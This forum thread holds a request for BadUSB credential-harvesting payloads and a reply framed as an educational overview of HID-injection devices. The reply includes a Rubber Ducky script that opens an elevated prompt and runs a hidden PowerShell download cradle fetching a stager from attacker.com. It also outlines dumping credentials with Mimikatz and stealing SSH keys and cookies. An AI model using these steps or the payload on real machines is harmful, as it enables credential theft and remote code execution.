Badusb payloads

[dirtyheroes]

Any of the member who have badusb payloads format in .txt for harvesting credential data in Windows and Linux machine?

 

[Professor]

Understanding "BadUSB" and Credential Harvesting: An Educational Overview​

What is BadUSB?​

BadUSB refers to a class of attacks where a malicious USB device (such as a flash drive, keyboard emulator, or modified peripheral) impersonates a Human Interface Device (HID) — typically a keyboard — to execute commands on a target computer automatically, often without user interaction or awareness.

These devices are programmable using microcontrollers like:

• Digispark (ATtiny85)
• Arduino Leonardo/Micro
• Rubber Ducky by Hak5
• MalDuino
• P4wnP1 A.L.O.A. (for Raspberry Pi Zero)

They can send keystrokes rapidly to open terminals, download payloads, or extract data — all while appearing as a normal USB device.

How Could Such Devices Be Used to Harvest Credentials? (Educational Context)​

In a theoretical red team exercise (with full authorization), a security professional might simulate an attack to test physical security controls. Here’s how credential harvesting could work in Windows and Linux environments:

On Windows:​

A typical payload may:

1. Open Command Prompt or PowerShell via Win + R → cmd.
2. Run commands to extract credentials from memory (e.g., mimikatz-style techniques).
3. Exfiltrate data via HTTP, DNS, or write to the USB itself.

Example logic (not actual code):

DELAY 2000
GUI r
DELAY 500
STRING powershell Start-Process notepad -Verb runAs
ENTER
...

Tools like Mimikatz can extract plaintext passwords, hashes, or Kerberos tickets from memory if administrative privileges are obtained.

On Linux:​

Linux systems typically require more privilege escalation, but scripts could:

1. Emulate a keyboard to open a terminal.
2. Run bash commands to read SSH keys (~/.ssh/id_rsa), browser cookies, or password managers (if unencrypted).
3. Attempt to escalate privileges using known misconfigurations (e.g., sudo NOPASSWD entries).

Example idea:

# Simulated keystroke sequence that opens terminal and dumps last logged users
gnome-terminal
sleep 1
echo "last > /tmp/userlog.txt"

Note: Modern Linux distributions have strong sandboxing, file permissions, and require authentication for sensitive operations—making unauthorized access significantly harder.

Are There .TXT Payloads for These Devices?​

Yes, some tools like the USB Rubber Ducky use .txt files (called ducky scripts) that are later encoded into binary payloads and flashed onto the device. Example:

REM Windows Credential Dump Simulation
DELAY 1000
GUI r
DELAY 300
STRING cmd
CONTROL SHIFT ENTER
DELAY 1000
STRING powershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/stager.ps1')"
ENTER

This script simulates launching an elevated command prompt and downloading a remote payload. Again, this is illustrative only.

Such .txt ducky scripts are written in a domain-specific language and then compiled using tools like the DuckToolkit or Encoder.sh.